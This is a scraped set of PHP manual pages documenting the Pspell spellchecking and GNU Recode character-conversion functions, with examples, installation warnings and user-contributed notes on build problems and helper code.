alexxed at gmail dot com 15-Oct-2007 12:21
Here's an example of how to use pspell when you don't want or you can't use the dictionaries installed on the system.
<?
$text_to_check = 'I can sspeak English';
// optional. clean text a bit
$clean_text_to_check = preg_replace('/[^a-z0-9\-\.!;]+/i', ' ', $text_to_check);
// get a word list
$word_list = preg_split('/\s+/', $clean_text_to_check);

$pspell_config = pspell_config_create("en", null, null, 'utf-8');

// if the aspell dictionaries that you want are not installed,
// copy the aspell dictionaries and set the path to the dictionaries here
pspell_config_data_dir($pspell_config, "/home/alex/dictionaries/");
pspell_config_dict_dir($pspell_config, "/home/alex/dictionaries/");
$pspell_link = pspell_new_config($pspell_config);

foreach($word_list as $word) {

    if (!pspell_check($pspell_link, trim($word))) {
        $suggestions = pspell_suggest($pspell_link, trim($word));

        echo $word . ' misspelled <br />';
        foreach ($suggestions as $suggestion) {
            echo "\t Possible spelling: $suggestion <br />";
        }
    }
    else {
        // correct spelling
    }
}
?>
pspell_config_create
pspell_config_dict_dir
Pspell Functions


Location of the main word list

pspell_config_data_dir
pspell_config_ignore
Pspell Functions
PHP Manual

pspell_config_dict_dir

(PHP 5)

pspell_config_dict_dir — Location of the main word list

Description

bool pspell_config_dict_dir ( int $conf , string $directory )

Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
pspell_config_data_dir
pspell_config_ignore
Pspell Functions


Ignore words less than N characters long

pspell_config_dict_dir
pspell_config_mode
Pspell Functions
PHP Manual

pspell_config_ignore

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_ignore — Ignore words less than N characters long

Description

bool pspell_config_ignore ( int $dictionary_link , int $n )

pspell_config_ignore() should be used on a config before calling pspell_new_config(). This function allows short words to be skipped by the spell checker.

Parameters

dictionary_link

n

Words less than n characters will be skipped.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_config_ignore()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_ignore($pspell_config, 5);
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "abcd");    //will not result in an error
?>

User Contributed Notes

There are no user contributed notes for this page.
pspell_config_dict_dir
pspell_config_mode
Pspell Functions


Change the mode number of suggestions returned

pspell_config_ignore
pspell_config_personal
Pspell Functions
PHP Manual

pspell_config_mode

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_mode — Change the mode number of suggestions returned

Description

bool pspell_config_mode ( int $dictionary_link , int $mode )

pspell_config_mode() should be used on a config before calling pspell_new_config(). This function determines how many suggestions will be returned by pspell_suggest().

Parameters

dictionary_link

mode

The mode parameter is the mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)
  • PSPELL_NORMAL - Normal mode (more suggestions)
  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_config_mode() Example

<?php
$pspell_config = pspell_config_create("en");
pspell_config_mode($pspell_config, PSPELL_FAST);
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

User Contributed Notes

There are no user contributed notes for this page.
pspell_config_ignore
pspell_config_personal
Pspell Functions


Set a file that contains personal wordlist

pspell_config_mode
pspell_config_repl
Pspell Functions
PHP Manual

pspell_config_personal

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_personal — Set a file that contains personal wordlist

Description

bool pspell_config_personal ( int $dictionary_link , string $file )

Set a file that contains personal wordlist. The personal wordlist will be loaded and used in addition to the standard one after you call pspell_new_config(). The file is also the file where pspell_save_wordlist() will save personal wordlist to.

pspell_config_personal() should be used on a config before calling pspell_new_config().

Parameters

dictionary_link

file

The personal wordlist. If the file does not exist, it will be created. The file should be writable by whoever PHP runs as (e.g. nobody).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_config_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

Notes

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

Anonymous 05-Feb-2009 07:49
There is no error if the file does not exists. So if you are debugging, check wheter the file really exists.
pspell_config_mode
pspell_config_repl
Pspell Functions


Set a file that contains replacement pairs

pspell_config_personal
pspell_config_runtogether
Pspell Functions
PHP Manual

pspell_config_repl

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_repl — Set a file that contains replacement pairs

Description

bool pspell_config_repl ( int $dictionary_link , string $file )

Set a file that contains replacement pairs.

The replacement pairs improve the quality of the spellchecker. When a word is misspelled, and a proper suggestion was not found in the list, pspell_store_replacement() can be used to store a replacement pair and then pspell_save_wordlist() to save the wordlist along with the replacement pairs.

pspell_config_repl() should be used on a config before calling pspell_new_config().

Parameters

dictionary_link

file

The file should be writable by whoever PHP runs as (e.g. nobody).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_config_repl()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

Notes

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.
pspell_config_personal
pspell_config_runtogether
Pspell Functions


Consider run-together words as valid compounds

pspell_config_repl
pspell_config_save_repl
Pspell Functions
PHP Manual

pspell_config_runtogether

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_runtogether — Consider run-together words as valid compounds

Description

bool pspell_config_runtogether ( int $dictionary_link , bool $flag )

This function determines whether run-together words will be treated as legal compounds. That is, "thecat" will be a legal compound, although there should be a space between the two words. Changing this setting only affects the results returned by pspell_check(); pspell_suggest() will still return suggestions.

pspell_config_runtogether() should be used on a config before calling pspell_new_config().

Parameters

dictionary_link

flag

TRUE if run-together words should be treated as legal compounds, FALSE otherwise.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_config_runtogether()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_runtogether($pspell_config, true);
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

User Contributed Notes

There are no user contributed notes for this page.
pspell_config_repl
pspell_config_save_repl
Pspell Functions


Determine whether to save a replacement pairs list along with the wordlist

pspell_config_runtogether
pspell_new_config
Pspell Functions
PHP Manual

pspell_config_save_repl

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_save_repl — Determine whether to save a replacement pairs list along with the wordlist

Description

bool pspell_config_save_repl ( int $dictionary_link , bool $flag )

pspell_config_save_repl() determines whether pspell_save_wordlist() will save the replacement pairs along with the wordlist. Usually there is no need to use this function because if pspell_config_repl() is used, the replacement pairs will be saved by pspell_save_wordlist() anyway, and if it is not, the replacement pairs will not be saved.

pspell_config_save_repl() should be used on a config before calling pspell_new_config().

Parameters

dictionary_link

flag

TRUE if replacement pairs should be saved, FALSE otherwise.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.
pspell_config_runtogether
pspell_new_config
Pspell Functions


Load a new dictionary with settings based on a given config

pspell_config_save_repl
pspell_new_personal
Pspell Functions
PHP Manual

pspell_new_config

(PHP 4 >= 4.0.2, PHP 5)

pspell_new_config — Load a new dictionary with settings based on a given config

Description

int pspell_new_config ( int $config )

pspell_new_config() opens up a new dictionary with settings specified in a config, created with pspell_config_create() and modified with pspell_config_*() functions. This method provides you with the most flexibility and has all the functionality provided by pspell_new() and pspell_new_personal().

Parameters

config

The config parameter is the one returned by pspell_config_create() when the config was created.

Return Values

Returns a dictionary link identifier on success.

Examples

Example #1 pspell_new_config()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_config($pspell_config);
?>

User Contributed Notes

soapergem at gmail dot com 19-Aug-2008 08:34
Today I ran into an interesting problem that I thought I'd share here to save the next developer that ends up in the same situation a whole lot of trouble. I have been running PHP5 as a FastCGI module on a Windows IIS server, and I recently installed the Aspell library and enabled the pspell extension in my php.ini file. I also installed the English Aspell dictionary. But when I went to use pspell, I was getting ambiguous errors that would terminate script execution without warning.

So I started to break things down, and came to the conclusion that the following code successfully executed its first line, but broke on the last line with the call to pspell_new_config:

<?php

$pspell_config = pspell_config_create('en');
$pspell_link = pspell_new_config($pspell_config);

?>

This returned a FastCGI error in the browser, with error number -2147467259 (0x80004005). By luck, I happened to think to try the same script via the command line, which gave a much more descriptive error. What happened was that the dictionary installer created the *.dat files in the Aspell\data directory using the Windows standard CRLF "\r\n" instead of the UNIX standard "\n" for line feeds. By changing these all back to the UNIX standard, everything worked. It's apparently very touchy about these line feeds, so if you're wracking your brain over why pspell_new_config is breaking your scripts and you're using a Windows server, start by ensuring that there aren't any extraneous "\r" characters in your dictionary files.
pspell_config_save_repl
pspell_new_personal
Pspell Functions


Load a new dictionary with personal wordlist

pspell_new_config
pspell_new
Pspell Functions
PHP Manual

pspell_new_personal

(PHP 4 >= 4.0.2, PHP 5)

pspell_new_personal — Load a new dictionary with personal wordlist

Description

int pspell_new_personal ( string $personal , string $language [, string $spelling [, string $jargon [, string $encoding [, int $mode = 0 ]]]] )

pspell_new_personal() opens up a new dictionary with a personal wordlist. The wordlist can be modified and saved with pspell_save_wordlist(), if desired. However, the replacement pairs are not saved. In order to save replacement pairs, you should create a config using pspell_config_create(), set the personal wordlist file with pspell_config_personal(), set the file for replacement pairs with pspell_config_repl(), and open a new dictionary with pspell_new_config().

For more information and examples, check out inline manual pspell website:» http://aspell.net/.

Parameters

personal

The file where words added to the personal list will be stored. It should be an absolute filename beginning with '/' because otherwise it will be relative to $HOME, which is "/root" for most systems, and is probably not what you want.

language

The language code which consists of the two letter ISO 639 language code and an optional two letter ISO 3166 country code after a dash or underscore.

spelling

The requested spelling for languages with more than one spelling such as English. Known values are 'american', 'british', and 'canadian'.

jargon

Extra information to distinguish two different words lists that have the same language and spelling parameters.

encoding

The encoding that words are expected to be in. Valid values are utf-8, iso8859-*, koi8-r, viscii, cp1252, machine unsigned 16, machine unsigned 32.

mode

The mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)
  • PSPELL_NORMAL - Normal mode (more suggestions)
  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)
  • PSPELL_RUN_TOGETHER - Consider run-together words as legal compounds. That is, "thecat" will be a legal compound, although there should be a space between the two words. Changing this setting only affects the results returned by pspell_check(); pspell_suggest() will still return suggestions.
Mode is a bitmask constructed from different constants listed above. However, PSPELL_FAST, PSPELL_NORMAL and PSPELL_BAD_SPELLERS are mutually exclusive, so you should select only one of them.

Return Values

Returns the dictionary link identifier for use in other pspell functions.

Examples

Example #1 pspell_new_personal()

<?php
$pspell_link = pspell_new_personal ("/var/dictionaries/custom.pws",
        "en", "", "", "", PSPELL_FAST|PSPELL_RUN_TOGETHER);
?>

User Contributed Notes

There are no user contributed notes for this page.
pspell_new_config
pspell_new
Pspell Functions


Load a new dictionary

pspell_new_personal
pspell_save_wordlist
Pspell Functions
PHP Manual

pspell_new

(PHP 4 >= 4.0.2, PHP 5)

pspell_new — Load a new dictionary

Description

int pspell_new ( string $language [, string $spelling [, string $jargon [, string $encoding [, int $mode = 0 ]]]] )

pspell_new() opens up a new dictionary and returns the dictionary link identifier for use in other pspell functions.

For more information and examples, check out inline manual pspell website:» http://aspell.net/.

Parameters

language

The language parameter is the language code which consists of the two letter ISO 639 language code and an optional two letter ISO 3166 country code after a dash or underscore.

spelling

The spelling parameter is the requested spelling for languages with more than one spelling such as English. Known values are 'american', 'british', and 'canadian'.

jargon

The jargon parameter contains extra information to distinguish two different words lists that have the same language and spelling parameters.

encoding

The encoding parameter is the encoding that words are expected to be in. Valid values are 'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32'. This parameter is largely untested, so be careful when using.

mode

The mode parameter is the mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)
  • PSPELL_NORMAL - Normal mode (more suggestions)
  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)
  • PSPELL_RUN_TOGETHER - Consider run-together words as legal compounds. That is, "thecat" will be a legal compound, although there should be a space between the two words. Changing this setting only affects the results returned by pspell_check(); pspell_suggest() will still return suggestions.
Mode is a bitmask constructed from different constants listed above. However, PSPELL_FAST, PSPELL_NORMAL and PSPELL_BAD_SPELLERS are mutually exclusive, so you should select only one of them.

Return Values

Returns the dictionary link identifier on success or FALSE on failure.

Examples

Example #1 pspell_new()

<?php
$pspell_link = pspell_new("en", "", "", "",
                           (PSPELL_FAST|PSPELL_RUN_TOGETHER));
?>

User Contributed Notes

wookie 29-Sep-2008 11:52
Just as a small tip, I noticed that when you call pspell_new multiple times, php does not free memory usage when the resource is destroyed, but only when your entire script has completely finished. So if you create a pspell_link resource and you intend to use it again somewhere else, instead of calling pspell_new again, keep track of your original pspell_link resource instantiation, and use it again, your script will run much more efficiently.

I was switching between 16 dictionaries by just calling a new pspell_new everytime, my memory usage on the server grew until i hit a failure/php core dump. :-/ So i stored each pspell resource in an array keyed by language, and checked if the resource existed first, before creating one if needed.

I hope that helps someone.
allan at wagawaga dot dk 21-Aug-2008 05:00
I think the language and spelling parameters differs on different PHP versions and/or aspell/UNIX distributions.

My PHP 5.2.6 Debian ignores the spelling parameter.

Instead:

For Americans use en_US as language.
For British use en_GB (not en_UK)
For Canadian use en_CA
pspell_new_personal
pspell_save_wordlist
Pspell Functions


Save the personal wordlist to a file

pspell_new
pspell_store_replacement
Pspell Functions
PHP Manual

pspell_save_wordlist

(PHP 4 >= 4.0.2, PHP 5)

pspell_save_wordlist — Save the personal wordlist to a file

Description

bool pspell_save_wordlist ( int $dictionary_link )

pspell_save_wordlist() saves the personal wordlist from the current session. The location of files to be saved specified with pspell_config_personal() and (optionally) pspell_config_repl().

Parameters

dictionary_link

A dictionary link identifier opened with pspell_new_personal().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/tmp/dicts/newdict");
$pspell_link = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell_link, "Vlad");
pspell_save_wordlist($pspell_link);
?>

Notes

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.
pspell_new
pspell_store_replacement
Pspell Functions


Store a replacement pair for a word

pspell_save_wordlist
pspell_suggest
Pspell Functions
PHP Manual

pspell_store_replacement

(PHP 4 >= 4.0.2, PHP 5)

pspell_store_replacement — Store a replacement pair for a word

Description

bool pspell_store_replacement ( int $dictionary_link , string $misspelled , string $correct )

pspell_store_replacement() stores a replacement pair for a word, so that replacement can be returned by pspell_suggest() later. In order to be able to take advantage of this function, you have to use pspell_new_personal() to open the dictionary. In order to permanently save the replacement pair, you have to use pspell_config_personal() and pspell_config_repl() to set the path where to save your custom wordlists, and then use pspell_save_wordlist() for the changes to be written to disk.

Parameters

dictionary_link

A dictionary link identifier, opened with pspell_new_personal()

misspelled

The misspelled word.

correct

The fixed spelling for the misspelled word.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_store_replacement()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_config($pspell_config);

pspell_store_replacement($pspell_link, $misspelled, $correct);
pspell_save_wordlist($pspell_link);
?>

Notes

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.
pspell_save_wordlist
pspell_suggest
Pspell Functions


Suggest spellings of a word

pspell_store_replacement
Recode
Pspell Functions
PHP Manual

pspell_suggest

(PHP 4 >= 4.0.2, PHP 5)

pspell_suggest — Suggest spellings of a word

Description

array pspell_suggest ( int $dictionary_link , string $word )

pspell_suggest() returns an array of possible spellings for the given word.

Parameters

dictionary_link

word

The tested word.

Return Values

Returns an array of possible spellings.

Examples

Example #1 pspell_suggest() example

<?php
$pspell_link = pspell_new("en");

if (!pspell_check($pspell_link, "testt")) {
    $suggestions = pspell_suggest($pspell_link, "testt");

    foreach ($suggestions as $suggestion) {
        echo "Possible spelling: $suggestion<br />";
    }
}
?>

User Contributed Notes

andoryuusama at gmail dot com 30-Dec-2004 01:37
To get a more meaningful "did you mean", I use metaphones on the suggestion list, this helps to insure that the word is one that "sounds" closer to the word spelled wrong.

<?php
function spellcheck ( $string ) {
   $words = split(' ',$string);
   $misspelled = $return = array();
   pspell_config_create("en",PSPELL_NORMAL);
   $int = pspell_new('en');
   foreach ($words as $value) {
       $check = preg_split('/[\W]+?/',$value);
       if (($check[1] != '') and (strpos("'",$value) > 0) ) {$check[0] = $value;}
       if (($check[0] + 1 == 1) and (!pspell_check($int, $check[0]) )) {
           $res  .= '<SPAN class="misspelled" style="color:#FF0000; font-weight:bold;">' . $value . ' </SPAN> ';
           $poss = pspell_suggest($int,$value);
           $orig = metaphone($value);
           foreach ($poss as $suggested)
           {
                 $ranked[metaphone($suggested)] = $suggested;
           }
           if ($ranked[$orig] <> '') {$poss[1] = $ranked[$orig];}

           $res2  .= '<SPAN style="color:#CC8800; font-weight:bold">' . $poss[1] . ' </SPAN> ';

       } else {
       $res .= $value . ' ';
       $res2 .= $value . ' ';
       }
   }

   $n[1] = $res;
   $n[2] = $res2;
   return $n;
}
?>

this helps to correct for the fact that pspell_suggest's first idea of a replacement is just the first in the alphabet.
webmaster at hostpure dot com 12-Apr-2004 05:42
It seems if you are trying to do something similar to the Google 'Did you mean:' suggestions and are selecting the first word given by the pspell_suggest() function, then it will not work well with custom dictionaries and replacements. Take the following code for example:

<?php
    $pspell_config = pspell_config_create("en");
    pspell_config_personal($pspell_config, "/home/user/public_html/custom.pws");
    pspell_config_repl($pspell_config, "/home/user/public_html/custom.repl");
    $pspell_link = pspell_new_config($pspell_config);

    $words = preg_split ("/\s+/", $query);
    $ii = count($words);

    global $spellchecked;
    $spellchecked = "";

    for($i=0;$i<$ii;$i++){

        if (pspell_check($pspell_link, $words[$i]))
        {
            $spellchecked .= $words[$i]." ";
        }
        else
        {
            $erroneous = "yes";
            $suggestions = pspell_suggest($pspell_link, $words[$i]);
            $spellchecked .= $suggestions[0]." ";
        }
    }
    if($erroneous == "yes")
    {
        echo "Did you mean: <i>".$spellchecked."?";
    }
    else
    {
        echo $spellchecked . " is a valid word/phrase";
    }
?>

This works fine most of the time, and gives suggestions to what you meant when inserting a spelling mistake with most inputs. However, if you specify a custom replacement and then search for the misspelt word that you specified, then if it is not the first returned suggestion it wont be used in the 'Did you mean' end result. What you need to do is open up the custom dictionary using fopen and fread, and then for each of the suggested words, check if they are in the dictionary. If the suggested word is in the custom dictionary then use it in the 'Did you mean' part, if not, discard it and try the next. Hope this helps anyone who comes across this problem with trying to get more accurate suggestions.
pspell_store_replacement
Recode
Pspell Functions


GNU Recode

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Recode Functions
    • recode_file — Recode from file to file according to recode request
    • recode_string — Recode a string according to a recode request
    • recode — Alias of recode_string

User Contributed Notes

There are no user contributed notes for this page.
pspell_suggest
Introduction
Human Language and Character Encoding Support


Introduction

This module contains an interface to the GNU Recode library. The GNU Recode library converts files between various coded character sets and surface encodings. When this cannot be achieved exactly, it may get rid of the offending characters or fall back on approximations. The library recognises or produces nearly 150 different character sets and is able to convert files between almost any pair. Most » RFC 1345 character sets are supported.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.
Recode
Installing/Configuring
Recode


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Recode


Requirements

You must have GNU Recode 3.5 or higher installed on your system. You can download the package from » http://directory.fsf.org/All_GNU_Packages/recode.html.

Warning

The Recode library version 3.6 adds weird characters behind converted strings under certain circumstances. Thus it's safer to use Recode v3.5 or one of the available alternatives like the iconv or mbstring extension.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

To be able to use the functions defined in this module you must compile your PHP interpreter using the --with-recode[=DIR] option.

Warning

Crashes and startup problems of PHP may be encountered when loading the recode as extension after loading any extension of mysql or imap. Loading the recode before those extension has proved to fix the problem. This is due a technical problem that both the c-client library used by imap and recode have their own hash_lookup() function and both mysql and recode have their own hash_insert function.

Warning

The IMAP, recode, YAZ and Cyrus extensions cannot be used in conjuction, because they share the same internal symbols. Note: Yaz 2.0 and above does not suffer from this problem.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Recode Functions
Recode


Recode Functions

Table of Contents

  • recode_file — Recode from file to file according to recode request
  • recode_string — Recode a string according to a recode request
  • recode — Alias of recode_string

User Contributed Notes

theather at I dot am 07-Aug-2005 06:55
I see that the Recode (3.6) module is also incompatible with the MySQL module as well as the others noted in the "warning" note above.
pet at humaj dot sk 30-Apr-2003 06:51
Hope this might help someone:

I tried to compile php 4.3.2-RC2 (+some older versions) with recode AND imap (and gd+png+jpeg support, ldap, gettext, zlib .. but these are not interesting right now).

Why? I needed to run Imp + Horde + Turba. Turba talks to LDAP directory (and LDAP uses utf-8 encoding which I need to convert to iso-8859-2), so I modified Turba to use 'recode' for charset conversions utf8<->iso8859-2.

System: FreeBSD4.7+Apache 1.3.27+Ben SSL

I either could not properly compile OR after compiling apache coredumped.

Problem was: imap (libc-client) and recode (librecode) use the same function hash_lookup(). Therefore during loading libphp.so (and libraries it depended on) whole apache crashed. Without a word of what's going on.

The problem is detectable by forcing static linking (in FreeBSD modify librecode.la and change
library_names='librecode.so.0 librecode.so librecode.so'
to
library_names='librecode.a'

Now during linking of php the linker complains of double definition of hash_lookup.

Solution:

-grab recode3.6 from ftp://ftp.gnu.org/pub/gnu/recode/
-unpack, go to src, in files combine.c, hash.c, names.c, recode.c, testdump.c, html.c, hash.h replace hash_lookup() by hash_lookupX() [or invent some better name],
compile recode (i had to do:

setenv CFLAGS "-I/usr/local/include"
setenv LDFLAGS "-L/usr/local/lib -lintl"
./configure --prefix=/usr/local/recode --exec-prefix=/usr/local/recode --without-included-gettext
make
make check
make install

(recode is installed to /usr/local/recode.You can change this and you can force static linking of recode, so that after building libphp.so this modified recode is no longer needed and can be deleted! )

For some reason this recode needs to have externally defined
int error;
therefore we have to modify configure script +one .c php source file:

1. modify configure script of php: find
recode_format_table();
and somewhere before start of main() add
int error;

so the result is:

char *program_name;
int error;
int main() {
recode_format_table();
; return 0; }

(I modified both occurences of recode_format_table() in configure of php4.3.2rc2)

2. run configure, should work ok (my another problem was with imap: though my c-client was compiled WITHOUT ssl, configure complained that it IS using ssl, so i had to edit configure once again and comment following lines:
void mm_searched(void){}
void mm_expunged(void){}
// char ssl_onceonlyinit();  --- commented
int main() {
// ssl_onceonlyinit(); --- commented
return 0;
}

Now configure was rather happy :-)

for the record: I did
./configure --with-apxs=/usr/local/apache/bin/apxs --with-imap --enable-sysvsem --enable-sysvshm --with-sybase=/usr/local/freetds --with-gettext --with-ldap --with-zlib --with-recode=/usr/local/recode -with-gd=/usr/local --with-jpeg-dir=/usr/local --with-png-dir=/usr/local

3. edit ext/recode/recode.c (or any other .c source file, add somewhere (e.g. at the end)
int error;

without it during linking 'error not defined' will be complained.

4. do 'make' and php is yours :-)

It took me 2 days.. so do not delete this note, someone might even find it useful and mail me his thanks :-]
cv at corbach dot de 03-Feb-2002 09:06
When compiling PHP into Apache as static module Apache configure will complain about an undefined symbol in librecode. You need recode-3.6 (e.g. on ftp://ftp.gnu.org/pub/gnu/recode/) to get rid of this error. It doesn't matter if you're compiling PHP as DSO.
Predefined Constants
recode_file
Recode


Recode from file to file according to recode request

Recode Functions
recode_string
Recode Functions
PHP Manual

recode_file

(PHP 4, PHP 5)

recode_file — Recode from file to file according to recode request

Description

bool recode_file ( string $request , resource $input , resource $output )

Recode the file referenced by file handle input into the file referenced by file handle output according to the recode request.

Parameters

request

The desired recode request type

input

A local file handle resource for the input

output

A local file handle resource for the output

Return Values

Returns FALSE, if unable to comply, TRUE otherwise.

Examples

Example #1 Basic recode_file() example

<?php
$input = fopen('input.txt', 'r');
$output = fopen('output.txt', 'w');
recode_file("us..flat", $input, $output);
?>

Notes

This function does not currently process file handles referencing remote files (URLs). Both file handles must refer to local files.

See Also

  • fopen() - Opens file or URL

User Contributed Notes

There are no user contributed notes for this page.
Recode Functions
recode_string
Recode Functions


Recode a string according to a recode request

recode_file
recode
Recode Functions
PHP Manual

recode_string

(PHP 4, PHP 5)

recode_string — Recode a string according to a recode request

Description

string recode_string ( string $request , string $string )

Recode the string string according to the recode request request.

Parameters

request

The desired recode request type

string

The string to be recoded

Return Values

Returns the recoded string or FALSE, if unable to perform the recode request.

Examples

Example #1 Basic recode_string() example

<?php
echo recode_string("us..flat", "The following character has a diacritical mark: á");
?>

Notes

A simple recode request may be "lat1..iso646-de".

See Also

  • The GNU Recode documentation of your installation for detailed instructions about recode requests.

User Contributed Notes

msimonc at yahoo dot com 09-Oct-2008 03:33
Seems to require that librecode be installed.
Try iconv() instead.
bisqwit at iki dot fi 23-Nov-2005 10:41
Here's how to convert romaji to katakana/hiragana with PHP (transliterating Japanese text).
The function Romaji2Kana($s) will return with keys 'hira' and 'kata' that respectively contain the hiragana and katakana versions of the given string in UTF-8 encoding.

<?php
// eucjp: 2421; unicode: 3041
define('HIRATABLE', 'a A i I u U e E o O KAGAKIGIKUGUKEGEKOGOSAZASIZISUZUSEZESOZO'.
'TADATIDItuTUDUTEDETODONANINUNENOHABAPAHIBIPIHUBUPUHEBEPEHOBOPO'.
'MAMIMUMEMOyaYAyuYUyoYORARIRUREROwaWAWIWEWOn ');
// eucjp: 2521; unicode: 30A1
define('KATATABLE', 'a A i I u U e E o O KAGAKIGIKUGUKEGEKOGOSAZASIZISUZUSEZESOZO'.
'TADATIDItuTUDUTEDETODONANINUNENOHABAPAHIBIPIHUBUPUHEBEPEHOBOPO'.
'MAMIMUMEMOyaYAyuYUyoYORARIRUREROwaWAWIWEWOn VUkake');

function HiraTrans($s)
{
  #print "trans('$s')\n";
  $pos = strpos(HIRATABLE, $s);
  if($pos===false) return 0xA1BC; // ^
  return 0xA4A1 + $pos/2;
}
function KataTrans($s)
{
  $pos = strpos(KATATABLE, $s);
  if($pos===false) return 0xA1BC; // ^
  return 0xA5A1 + $pos/2;
}

function Romaji2Kana($s)
{
  $s = strtoupper(str_replace(
     Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dz', 'l', '-',
           'â', 'î', 'û', 'ê', 'ô', 'ā', 'ī', 'ū', 'ē', 'ō'),
     Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'j',  'r', '^',
           'a^', 'i^', 'u^', 'e^', 'o^', 'a^', 'i^', 'u^', 'e^', 'o^'),
     $s));
  // FO -> FUxo
  $s = preg_replace('@F([AIOE])@e', '"HU".strtolower("\1")', $s);
  // VO -> VUxo
  $s = preg_replace('@V([AIUEO])@e', '"VU".strtolower("\1")', $s);
  // KYA -> KYya
  $s = preg_replace('@([KSTNHMRGZBPD])Y([AUO])@e',   '"\1Iy".strtolower("\2")', $s);
  // XTU -> tu (make them actually small)
  $s = preg_replace('@X(TU|Y[AUO]|[AIUEO]|KA|KE)@e', 'strtolower("\1")', $s);
  // KKO -> tuKO
  $s = preg_replace('@([KSTHMRYWGZBPDV]{2,})@e',
                      'str_pad("",2*strlen("\1")-2,"tu").substr("\1",0,1)', $s);
  // N -> n (but not NO -> nO)
  // At this point, N' will work correctly
  $s = preg_replace('@N(?![AIUEO])@', 'n', $s);
  // Unrecognized characters off
  $s = eregi_replace('[^^VAIUEOKSTNHMYRWGZBPD]', '', $s);

  $pat = '@([AIUEOnaiueo^]|..)@e';
  $rec = 'EUCJP..UTF8';

  return
    Array('hira' => recode_string($rec,preg_replace($pat, 'pack("n", HiraTrans("\1"))', $s)),
          'kata' => recode_string($rec,preg_replace($pat, 'pack("n", KataTrans("\1"))', $s)));
}

print_r( Romaji2Kana('konnichiha') );
?>

Note: Due to technical limitations in the manual pages, there are two errors in this code:
- Some characters in the first str_replace may appear wrong in some php.net mirrors. It supposed to contain aiueo with circumflex and aiueo with macron.
- The strings in the defines should be constant, not appendage expressions. (Line length limitation)

-Joel Yliluoma
jazfresh at spam-javelin.hotmail.com 27-Oct-2003 10:55
I came across a bug (and workaround) when using recode_string. When converting from utf-8 to iso-2022-jp, it would always return an empty string (although it would work fine for conversions from html to utf8). Converting with recode on the command line worked fine, which was odd. I noticed that if I specified "-v" on the command line, recode stated that it was using libiconv to do the conversion.

Using "iconv" instead of recode got the right results.
i.e.

Works:
$str = recode_string("html..utf-8", "&#26085;&#26412;&#35486;"); // Unicode for "Japanese"

Doesn't work:
$str = recode_string("utf-8..iso-2022-jp", $mystring);

Works:
$str = iconv("utf-8", "iso-2022-jp", $mystring);

Don't ask me why. Hope this saves someone some frustrating hours debugging.
recode_file
recode
Recode Functions


Alias of recode_string

recode_string
Image Processing and Generation
Recode Functions
PHP Manual

recode

(PHP 4, PHP 5)

